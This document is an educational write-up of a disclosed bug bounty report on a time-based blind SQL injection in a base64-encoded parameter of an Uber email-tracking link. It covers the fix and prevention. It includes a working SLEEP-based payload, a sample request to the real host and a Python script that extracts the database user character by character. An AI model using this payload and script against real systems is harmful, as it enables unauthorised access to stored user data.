Blind SQL injection on sctrack.email.uber.com.cn
Orange Tsai found that a base64-encoded parameter in an Uber marketing-email unsubscribe link was concatenated into a SQL query. With no visible output, he used time-based blind injection (sleep payloads) and a script to extract database users and schema character by character.
Read the original HackerOne reportOrange Tsai found that a base64-encoded field buried in an Uber marketing-email unsubscribe link was being concatenated directly into SQL - with no output visible, he extracted the entire database schema one character at a time using timing attacks.
Stay Legal
This breakdown is for educational purposes only. SQL injection against systems you do not own or have explicit written authorization to test is illegal. Only practice these techniques in controlled environments such as DVWA, SQLi-labs, HackTheBox, or authorized bug bounty programs.
The Target
sctrack.email.uber.com.cn - an Uber subdomain used for click and open tracking in marketing email campaigns. When users received Uber promotional emails, the unsubscribe or tracking links embedded a parameter that identified the recipient. That parameter was base64-encoded, giving the appearance of being opaque user data, but its decoded value flowed directly into a SQL query on the server.
The Vulnerability
The bug was a blind SQL injection - specifically a time-based blind injection. The application decoded the base64 parameter and concatenated its value into a SQL statement without using parameterized queries or prepared statements. Because no query results were ever reflected back in the HTTP response, the researcher could not use classic error-based or union-based extraction. Instead, he used conditional time delays: inject a SLEEP() (or WAITFOR DELAY equivalent) that fires only when a specific condition is true, then measure the server's response time to deduce the answer one bit or character at a time.
How It Was Found
Orange Tsai identified the tracking link in a received marketing email, noticed the base64-encoded parameter, and decoded it to inspect the underlying value. Recognizing that the value was passed to a backend query, he appended SQL syntax after the decoded content and confirmed the injection by observing a time delay in the server's response.
The original parameter decoded to something like a user identifier. By appending a conditional sleep, he confirmed the server executed the injected SQL:
# Original base64 parameter (illustrative)
# Decoded value: 12345
# Inject a conditional sleep - if the DB version starts with '5', sleep 5 seconds
# Encoded payload: 12345' AND SLEEP(5) AND '1'='1
$ echo -n "12345' AND SLEEP(5) AND '1'='1" | base64
MTIzNDUnIEFORCBTTEVFUCg1KSBBTkQgJzEnPScxGET /track/click?uid=MTIzNDUnIEFORCBTTEVFUCg1KSBBTkQgJzEnPScx HTTP/1.1
Host: sctrack.email.uber.com.cnIf the response takes approximately 5 seconds longer than normal, the injection is confirmed and the condition evaluated to true.
With injection confirmed and no output channel, extraction required a script:
# Illustrative time-based extraction loop
import requests, base64, time, string
TARGET = "https://sctrack.email.uber.com.cn/track/click"
THRESHOLD = 4 # seconds
def check(condition):
payload = f"12345' AND IF({condition},SLEEP(5),0) AND '1'='1"
enc = base64.b64encode(payload.encode()).decode()
start = time.time()
requests.get(TARGET, params={"uid": enc}, timeout=15)
return (time.time() - start) > THRESHOLD
# Extract current DB user one character at a time
result = ""
for pos in range(1, 30):
for ch in string.printable:
if check(f"SUBSTRING(USER(),{pos},1)='{ch}'"):
result += ch
break
print("DB User:", result) Impact
- Confirmed ability to extract the database user and current schema - the first steps toward full database dump.
- Depending on the database user's privileges: potential access to all stored marketing data, email addresses, and unsubscribe preferences for millions of Uber users.
- The
sctrack.email.uber.com.cnsubdomain was a distinct system, but SQL injection at scale can be a pivot point into connected infrastructure. - Uber awarded $4,000 for the report, treating it as a high-severity finding.
The Fix
SQL injection is one of the most well-understood and preventable vulnerability classes:
- Use parameterized queries / prepared statements - the query structure is fixed at compile time; user input is always treated as data, never as SQL syntax.
- Never concatenate user input into SQL strings, regardless of encoding (base64, URL encoding, etc.) - encoding is not sanitization.
- Apply least privilege - the database user the application connects as should have only the permissions required (SELECT on specific tables), never DBA-level rights.
- Validate and constrain inputs - a user tracking ID that should be an integer should be cast to an integer before use, making injection structurally impossible.
- Use an ORM's query builder rather than raw SQL strings for application-layer database access.
What You Can Learn
- Encoding is not security. Base64 is a transport encoding, not an obfuscation or sanitization mechanism. Decoders are trivial - always inspect encoded parameters.
- Blind injection is still injection. The absence of visible output does not mean SQL injection is unexploitable. Time-based and boolean-based channels extract data bit by bit.
- Obscure subdomains are prime targets. Marketing, tracking, and partner subdomains often have less security scrutiny than the main application. Enumerate them with DNS tooling.
- Email links carry server-side logic. Unsubscribe, tracking, and confirmation links frequently encode identifiers that feed backend queries - always test them.
- Automate time-based extraction carefully. Network jitter can cause false positives. Use a threshold well above average baseline response time, and validate findings with multiple requests before drawing conclusions.
Canonical Report
Full technical details are in the original HackerOne disclosure by Orange Tsai: HackerOne #150156 - Blind SQL injection on sctrack.email.uber.com.cn
Learn the skill behind it
Ports, DNS & HTTP